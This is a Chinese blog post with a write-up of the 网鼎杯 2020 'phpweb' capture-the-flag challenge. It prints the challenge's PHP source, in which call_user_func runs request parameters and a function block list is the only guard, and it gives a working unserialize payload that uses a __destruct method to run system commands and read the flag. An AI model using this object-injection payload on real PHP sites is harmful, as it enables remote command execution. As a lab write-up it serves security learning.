首页 > 编程语言 >[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

时间:2024-11-01 16:47:19浏览次数:3  
标签:phpweb system unserialize flag 2020 ls func Test 网鼎杯

打开靶机,抓包分析,获得连个关键参数func和p,根据初始页面提示了解连个参数大概是功能和功能参数

测试func=system&p=ls提示hacker..说明有检测过滤

那么我们先读取源码看看func=readfile&p=index.php

点击查看代码
 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
发现一系列禁用函数和一个类的定义,类的定义里有魔术方法__destruct(析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行),这里理所应当想到利用func=unserialize且发现unserialize没有被禁用,利用链就是利用func反序列函数调用魔术方法里的func调用,从而达到过滤的绕过

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}


发现可行后寻找flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
得到flag

标签:phpweb,system,unserialize,flag,2020,ls,func,Test,网鼎杯
From: https://www.cnblogs.com/m1saka1/p/18520665

相关文章

  • [ACTF2020 新生赛]Exec
    题目链接:https://buuoj.cn/challenges#[ACTF2020新生赛]Exec。打开后,环境如下。尝试输入"127.0.0.1",抓取请求包。POST/HTTP/1.1Host:038dc28f-5191-4958-8946-1127f62ad770.node5.buuoj.cn:81Content-Length:16Cache-Control:max-age=0Upgrade-Insecure-Requests:......
  • [ACTF2020 新生赛]Include
    链接:https://buuoj.cn/challenges#[ACTF2020新生赛]Include打开环境后如下,只有一个"tips"的超链接。访问tips,留意传入了"file"参数。接下来,可以尝试下路径穿越:?file=flag.php../../../../../etc/passwd。可以看到,存在路径穿越漏洞,但是通过路径穿越漏洞并没有读取到根......
  • 2024年网鼎杯青龙组 pwn
    pwn2开局泄露栈地址,又是栈溢出,直接栈转移拿下frompwnimport*fromLibcSearcherimportLibcSearcher#fromCrypto.Util.numberimportbytes_to_long,bytes_to_long#--------------------settingcontext---------------------context.clear(arch='amd64',os='linux&#......
  • 网鼎杯
    个人只做了一道web一道cryptoWeb02打开赛题环境地址,是登录界面,进去后获取hash值用户名或密码随意我们访问到的flag界面****进去后这里有个输入框测试下可以进行xss又根据/flag提示需要boss来访问这个路径,编写脚本构造payload进行访问,字符串编码下importrequestsimpor......
  • 第四届“网鼎杯”网络安全大赛 - 青龙组
    CryptoCRYPTO012023年江苏省领航杯bd原题:题目:fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1=p>>(512-70)......
  • 中国多时期土地利用遥感监测GIS数据1980至2020年土地利用数据LUCC-最新出炉 附下载链
    [GIS数据]仲科院1980-2020年土地利用数据(LUCC)下载链接-点它......
  • 网鼎杯2024-青龙官方资格赛
    没必要看,只有最简单的题哎,尽力了,简单的都做不出来Cryptocrypto1fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1......
  • 2024网鼎杯初赛-青龙组-WEB gxngxngxn
    WEB01开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的这边先伪造jwt,是国外的原题CTFtime.org/DownUnderCTF2021(线上)/JWT/Writeup先生成两个token,然后利用rsa_sign2n工具来生成公钥python3jwt_forgery.pyeyJhbGciOi......
  • CTF杂项——[BJDCTF 2020]藏藏藏
    解压附件得到一张图片binwalk  发现有一个压缩包foremost分离 得到一个文件得到二维码扫一扫 得到flag......
  • [MRCTF2020]Xor
    [MRCTF2020]Xor检查无壳,32位分析打开main函数,发现不能F5反汇编如下报错,在分析401095位置处的指令出错.text:00401095callsub_401020此处是一个call指令,我们点进sub_401020函数f5反汇编成功打开然后返回到main函数按F5成功反汇编是个简单的异......